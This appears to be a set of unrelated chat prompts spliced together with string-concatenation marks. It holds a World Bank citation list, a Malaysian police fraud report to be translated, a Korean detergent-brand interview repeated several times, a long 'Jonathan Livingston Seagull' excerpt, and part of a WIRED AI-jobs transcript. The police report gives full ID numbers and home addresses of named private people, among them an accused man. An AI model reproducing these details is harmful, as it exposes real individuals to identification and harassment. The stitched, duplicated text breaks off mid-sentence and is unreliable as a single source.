https://www.imf.org/external/pubs/ft/fandd/2018/06/world-bank-history-role-functions.htm\nSeneviratne, K. (2005). The World Bank and Developing Countries: From Conditionality to Capacity Building. Routledge. World Bank. (n.d.). About the World Bank. Retrieved from https://www.worldbank.org/en/about\nWorld Bank. (n.d.). Environmental and Social Framework. Retrieved from https://www.worldbank.org/en/topic/safeguards/brief/environmental-and-social-framework\nWorld Bank. (n.d.). Gender Equality and Women\'s Empowerment. Retrieved from https://www.worldbank.org/en/topic/gender/brief/gender-equality-and-womens-empowerment\nWorld Bank. (n.d.). About the World Bank. Retrieved from https://www.worldbank.org/en/about' +'I, Tan Chee Hui (NRIC No.:830518-14-6075), Director, Shareholder and CEO of Crave Asia Sdn Bhd (Company No.: 914475-H) (hereafter referred to as "Crave Asia"), make this police report against NG CHIAN WEN (NRIC No.: 861217-23-6415) with known addresses at 19, Jalan Sri Hartamas 4, Taman Sri Hartamas, 50480 Kuala Lumpur and at No. 172, Jalan Sutera, Taman Sentosa, 80150 Johor Bahru, Johor.\nI previously made two police reports against Ng Chian Wen.\nReport 1 (J/JAYA/008837/19), made on 18 September 2019 at Damansara Utama Police Station. \n• Forgery of cheques via forged signatures and bank in to himself.\n• Breach of trust by abusing his positions in Crave Asia Sdn Bhd\n• The issuance of 38 cheques and 1 online transaction with forged signatures - amounting to RM676,085.07 (previously in first police report as RM777,228.04 – we have verified with auditor to update-to-date as today) and 9 unauthorized transaction to third parties amounting of RM66,994.60 from Crave Asia Sdn Bhd\'s bank account to Ng Chian Wen\'s personal bank account/personal usage and/or unknown payees/recipients. \n• Total Damage is RM743,079.67\n\nReport 2 (DAMANSARA/007543/20), made on 28 June 2020 at Damasara Utama Police Station.\n• We found out unauthorized purchase of an apartment through forged signatures in Sales & Purchases (S&P) and related documents from his father-in-law, Fong Chin Tuck without any approvals, documents from the company and company secretary.\nOver the years, the company has suffered massive losses in financial and reputation. As per today on 24 March 2023, we have discovered new findings the full extent of Ng Chian Wen\'s dishonesty and the harm caused to Crave Asia. These include the following:\n1. After reviewing files with our Auditor, we discovered that Ng Chian Wen had hidden his fraudulent cheques by declaring them as project payments to a renovation company named BIG BRO DESIGN LANGKAWI PROJECT. However, he did not provide supporting receipts from the company. We attempted to contact BIG Bro DESIGN but were unable to do so as the company has closed and the person in charge is no longer contactable.\n2. Ng Chian Wen hid this information from Crave Asia\'s management, accountant, auditor, and subsequently submitted falsified documents to LHDN. This resulted in LHDN imposing fines on the company and auditing the entire company. The total fines imposed by LHDN amounted to RM554,562.06.\n3. As a result of the LHDN fines and blacklisting, Crave Asia suffered E-TRADE REFERENCE (ETR) degradation and was blacklisted from CTOS, which prevented the company from applying for loans, new applications, and even new phone lines from Maxis or Time Broadband.\n4. Our main supplier of EPSON also stopped any credit facilities to the company, which forced us to pay 100% upfront before taking any equipment from them. This has caused significant issues for the company and future projects.\n5. Our expansion plan to Singapore had to be cancelled, as the bank rejected our application due to Ng Chian Wen\'s fraudulent activities.\n\nCrimes committed by Ng Chian Wen in reports 1, 2, and 3 include: \n• Forgery of cheques and bank in to own account of amounting RM676,085.07.\n• Make unauthorized purchases and payments to third party or unknown companies amounting RM66,994.60.\n• Deceptive actions to LHDN, created a claims including massive claims and fines from LHDN of total RM554,562.06.\n• Unauthorized purchase of an apartment by tampering Sales & Purchases and relevant document.\n• Tampering with bank statements to hide his fraudulent and deceptive activities from Company Management, Company Accountant, Company Auditor, LHDN, Bank, Majlis Tanah and more.\n• Created massive damages and losses in reputation, financial, time and resources to the Crave Asia Sdn Bhd in past, present and future.\n\nWe request that police action be taken against Ng Chian Wen as soon as possible to ensure that justice is served and to prevent him from causing further harm to our company over the years.\nSigned,\nTan Chee Hui (NRIC No.:830518-14-6075)\nDirector, Shareholder and CEO of Crave Asia Sdn Bhd (Company No.: 914475-H)\n\nI, Tan Chee Hui (NRIC No.:830518-14-6075), Director, Shareholder and CEO of Crave Asia Sdn Bhd (Company No.: 914475-H) (hereafter referred to as "Crave Asia"), make this police report against NG CHIAN WEN (NRIC No.: 861217-23-6415) with known addresses at 19, Jalan Sri Hartamas 4, Taman Sri Hartamas, 50480 Kuala Lumpur and at No. 172, Jalan Sutera, Taman Sentosa, 80150 Johor Bahru, Johor.\nI previously made two police reports against Ng Chian Wen and would like to update with latest findings. \nReport 1 (J/JAYA/008837/19), made on 18 September 2019 at Damansara Utama Police Station about reported forgery of cheques via forged signature of me, breach of trust, and unauthorized transactions amounting to RM743,079.67.\nReport 2 (DAMANSARA/007543/20), made on 28 June 2020 at Damasara Utama Police Station about unauthorized purchase of an apartment belonging to his Father-in-Law, Fong Chin Tuck without any approvals, documents from the company and company secretary. Purchases made through forged signatures in Sales and Purchases Agreement, Company Approval Letters and others.\nAs per today on 24 March 2023, we have discovered new findings the full extent of Ng Chian Wen\'s dishonesty and the harm caused to Crave Asia on top of the massive losses in financial and reputation from the first 2 police reports. \n1. After reviewing files with our Auditor, we discovered that Ng Chian Wen had hidden his fraudulent cheques by declaring them as project payments to a various company including a company call BIG BRO DESIGN LANGKAWI PROJECT. However, he did not provide supporting receipts from the company. We attempted to contact BIG BRO DESIGN but were unable to do so as the company is not contactable anymore since 2020.\n\n2. Ng Chian Wen used this purchases as project fees and hide it from Crave Asia\'s management, accountant, auditor, and subsequently submitted falsified documents to LHDN. This resulted in LHDN found out and imposing fines on the company and auditing the entire company. The total claims and fines imposed by LHDN amounted to RM554,562.06.\n\n3. As a result of the LHDN fines and blacklisting, Crave Asia suffered E-TRADE REFERENCE (ETR) degradation and was blacklisted from CTOS, which prevented the company from applying for loans, new applications, and even new phone lines from Maxis or Time Broadband.\n\n4. Our main supplier of EPSON also stopped any credit facilities to the company, which forced us to pay 100% upfront before taking any equipment from them. This has caused significant issues for the company and future projects. Various projects has been cancelled due to the finding of Crave reputation from potential clients.\n5. Our expansion plan to Singapore had to be cancelled, as it rejected our application due to Ng Chian Wen\'s fraudulent activities.\n\nCrimes committed by Ng Chian Wen in reports 1, 2, and 3 include: \n• Forgery of cheques and bank in to own account of amounting RM676,085.07.\n• Make unauthorized purchases and payments to third party or unknown companies amounting RM66,994.60.\n• Deceptive actions to LHDN, created a claims including massive claims and fines from LHDN of total RM554,562.06.\n• Unauthorized purchase of an apartment by tampering Sales & Purchases and relevant document.\n• Tampering with bank statements to hide his fraudulent and deceptive activities from Company Management, Company Accountant, Company Auditor, LHDN, Bank, Majlis Tanah and more.\n• Created massive damages and losses in reputation, financial, time and resources to the Crave Asia Sdn Bhd in past, present and future.\n\nWe request that police action be taken against Ng Chian Wen as soon as possible to ensure that justice is served and to prevent him from causing further harm to our company over the years.\nSigned,\nTan Chee Hui (NRIC No.:830518-14-6075)\nDirector, Shareholder and CEO of Crave Asia Sdn Bhd (Company No.: 914475-H)\nplease write in bahasa malaysia' +'아래 내용은 친환경 세제 브랜드 \'이오니\' 인터뷰 내용이다. 아래 내용을 바탕으로 브랜드가 추구하는 가치를 강조하는 유튜브 스크립트를 작성해 주세요. 제목과 썸네일에 들어가는 문구가 포함되게, host에 대한 내용은 제거\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values and philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or investment attraction\nWe are continuously actively working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop-up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\n번역결과\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following is an interview with eco-friendly detergent brand \'Ioni\'. Based on the contents below, please write a YouTube script that emphasizes the values \u200b\u200bthat the brand pursues. The content about the host is removed so that the phrase that goes into the title and thumbnail is included.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\ntranslation result\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' +'Please extract keywords from this: Part 1\nIt was morning, and the new sun sparkled gold across the ripples of a gentle sea. \nA mile from shore a fishing boat chummed the water, and the word for Breakfast Flock flashed through the air, till a crowd of a thousand seagulls came to dodge and fight for bits of food. It was another busy day beginning. \n But way off alone, out by himself beyond boat and shore, Jonathan Livingston Seagull was practicing. A hundred feet in the sky he lowered his webbed feet, lifted his beak, and strained to hold a painful hard twisted curve through his wings. The curve meant that he would fly slowly, and now he slowed until the wind was a whisper in his face, until the ocean stood still beneath him. He narrowed his eyes in fierce concentration, held his breath, forced one ... single ... more ... inch ... of ... curve .... Then his feathers ruffled, he stalled and fell. \n Seagulls, as you know, never falter, never stall. To stall in the air is for them disgraced and it is dishonor. \n But Jonathan Livingston Seagull, unashamed, stretching his wings again in that trembling hard curve - slowing, slowing, and stalling once more - was no ordinary bird. \n Most gulls didn\'t bother to learn more than the simplest facts of flight \xadhow to get from shore to food and back again. For most gulls, it is not flying that matters, but eating. For this gull, through, it was not eating that mattered, but flight. More than anything else, Jonathan Livingston Seagull loved to fly. \n This kind of thinking, he found, is not the way to make one\'s self popular with other birds. Even his parents were dismayed as Jonathan spent whole days alone, making hundreds of low-level glides, experimenting. \n He didn\'t know why, for instance, but when he flew at altitudes less than half his wingspan above the water, he could stay in the air longer, with less effort. His glides ended not with the usual feet-down splash into the sea, but with a long flat wake as he touched the surface with his feet tightly streamlined against his body. When he began sliding in to feet-up landings on the beach, then pacing the length of his slide in the sand, his parents were very much dismayed indeed. \nWhy, Jon, why?" his mother asked. "Why is it so hard to be like the rest of the flock, Jon? Why can\'t you leave low flying to the pelicans, the albatross? \n"I don\'t mind being bone and feathers, Mum. I just want to know what I can do in the air and what I can\'t, that\'s all. I just want to know." \n"See here, Jonathan," said his father, not unkindly. "Winter isn\'t far away. Boats will be few, and the surface fish will be swimming deep. If you must study,. then study food, and how to get it. This flying business is all very well, but you can\'t eat a glide, you know. Don\'t you forget that the reason you fly is to eat."\n Jonathan nodded obediently. For the next few days he tried to be behave like the other gulls; he really tried, screeching and fighting with the flock around the piers and fishing boats, diving on scraps of fish and bread. But he couldn\'t make it work. \nIt\'s all so pointless, he thought, deliberately dropping a hard-won anchovy to a hungry old gull chasing him. I could be spending all this time learning to fly. There\'s so much to learn! \nIt wasn\'t long before Jonathan Gull was off by himself again, far out at see, hungry, happy, learning. \n The subject was speed, and in a week\'s practice he learned more about speed than the fastest gull alive. \n From a thousand feet, flapping his wings as hard as he could, he pushed over into a blazing steep dive toward the waves, and learned why seagulls don\'t make blazing steep power-dives. In just six seconds he was moving seventy miles per hour, the speed at which one\'s wing goes unstable on the upstroke. \n Time after time it happened. Careful as he was, working at the very peak of his ability, he lost control at high speed. \n Climb to a thousand feet. Full power straight ahead first, then push over, flapping, to a vertical dive. Then, every time, his left wing stalled on an upstroke, he\'d roll violently left, stall his right wing recovering, and flick like fire into a wild tumbling spin to the right. \n He couldn\'t be careful enough on that upstroke. Ten times he tried, but all ten times, as he passed through seventy miles per hour, he burst into a churning mass of feathers, out of control, crashing down into the water. \n They key, he thought as last, dripping wet, must be to hold the wings still \n From two thousand feet he tried again, rolling into his dive, beak straight down, wings full out and stable from the moment he passed fifty miles per hour. It took tremendous strength, but it worked. In ten seconds he has blurred through ninety miles per hour. Jonathan had set a world speed record for seagulls!\n But victory was short-lived. The instant he began his pullout, the instant he changed the angle of his wings, he snapped into that same terrible uncontrolled disaster, and at ninety miles per hour it hit him like dynamite. Jonathan Seagull exploded in midair and smashed down into a brick-hard sea. \n When he came to, it was well after dark, and he floated in moonlight on the surface of the ocean. His wings were ragged bars of lead, but the weight of failure was even heavier on his back. He wished, feebly, that the weight could be just enough to drag him gently down to the bottom, and end it all. \n As he sank low in the water, a strange hollow voice sounded within him. There\'s no way around it. I am a seagull. I am limited by my nature. If I were meant to learn so much about flying, I\'d have a falcon\'s short wings, and live on mice instead of fish. My father was right. I must forget this foolishness. I must fly home to the Flock and be content as I am, as a poor limited seagull. \n The voice faded, and Jonathan agreed. The place for a seagull at night is on shore, and from this moment forth, he vowed, he would be a normal gull. It would make everyone happier. \n He pushed wearily away from the dark water and flew toward the land, grateful for what he had learned about work-saving low-altitude flying. \n But no, he thought. I am done with the way I was, I am done with everything I learned. I am a seagull like every other seagull, and I will fly like one. So he climbed painfully to a hundred feet and flapped his wings harder, pressing for shore. \n He felt better for his decision to be just another one of the flock. there would be no ties now to the force that had driven him to learn, there would be no more challenge and no more failure. And it was pretty, just to stop thinking, and fly through the dark, toward the lights above the beach. \nDark! The hollow voice cracked in alarm. Seagulls never fly in the dark!\n Jonathan was not alert enough to listen. It\'s pretty, he thought. The moon and the lights twinkling on the water, throwing out little beacon-trails though the \n Get Down! Seagulls never fly in the dark! If you were meant to fly in the dark, you\'d have the eyes f an owl! You\'d have charts for brains! You\'d have a falcon\'s short wings!\n There in the night, a hundred feet in the air, Jonathan Livingston Seagull \xadblinked. His pain, his resolutions, vanished. \n Short Wings. A falcon\'s short wings!\n That\'s the answer! What a fool I\'ve been! All I need is a tiny little wing, all I need is to fold most of my wings and fly on just the tips alone! Short wings!\n He climbed two thousand feet above the black sea, and without a moment for thought of failure and death, he brought his forewings tightly in to his body, left only the narrow swept daggers of his wingtips extended into the wind, and fell into a vertical dive. \n The wind was a monster roar at his head. Seventy miles per hour, ninety, a hundred and twenty and faster still. The wing-strain now at a hundred and forty miles per hour wasn\'t nearly as hard as it had been before at seventy, and with the faintest twist of his wingtips he eased out of the dive and shot above the waves, a grey cannonball under the moon. \n He closed his eyes to slits against the wind and rejoiced. A hundred forty miles per hour! and under control! If I dive from five thousand feet instead of two thousand, I wonder how fast... \n His vows of a moment before were forgotten, swept away in that great swift wind. Yet he felt guiltless, breaking the promises he had made himself. Such promises are only for the gulls that accept the ordinary. One who has touched excellence in his learning has no need of that kind of promise. \n By sunup, Jonathan Gull was practicing again. From five thousand feet the fishing boats were specks in the flat blue water, Breakfast Flock was a faint cloud of dust motes, circling. \n He was alive, trembling ever so slightly with delight, proud that his fear was under control. Then without ceremony he hugged in his forewings, extended his short, angled wingtips, and plunged directly toward the sea. By the time he had passed four thousand feet he had reached terminal velocity, the wind was a solid beating wall of sound against which he could move no faster. He was flying now straight down, at two hundred fourteen miles per hour. He swallowed, knowing that if his wings unfolded at that speed he\'d be blown into a million tiny shreds of seagull. But the speed was power, and the' +'Summarize the following.\nTitle: "(2) A.I. Tries 20 Jobs | WIRED - YouTube"\nTranscript: "I\'m a lawyer copywriter Doctor music producer personal trainer software engineer DJ I want to know can AI do my job I\'m a software engineer where I work we\'re always trying to know where can I find the best craft beer please generate the code for a website using HTML CSS and flask that tells me where there\'s craft beer near me this is just raw code you actually need to run the code somewhere I\'m copying pasting the code into separate files and it generates a website how cool here\'s our website all three pieces the back end the front end and The Styling did actually make something that was human readable that that generates a website that we can look at and understand what it does does seem like a huge feat to me I\'m a doctor this prompt is something that a patient might enter I have a fever rash and body aches the rash looks like small welds on my genitals do I have monkey pox the response is pretty solid in the sense that it\'s unlikely that you have monkey pox the specific thing I got right was that the monkey pox rash is actually not prominent on the genital area it goes on to say that a rash in the general area most likely is an STI the rest of the answer is just fluff talking to your healthcare provider which is pretty obvious can AI do my job I don\'t think it\'s there yet I think the AI right now is really good for a first year medical student I\'m a graphic designer Rebrand the McDonald\'s logo as vegan I\'m seeing four image variations it\'s struggling with text it\'s looking sort of like characters but in some sort of fictional language I wouldn\'t send any of these straight away to McDonald\'s they do each need a little bit of work the fourth one I think is maybe the strongest it\'s leaning towards more organic colors overall I don\'t 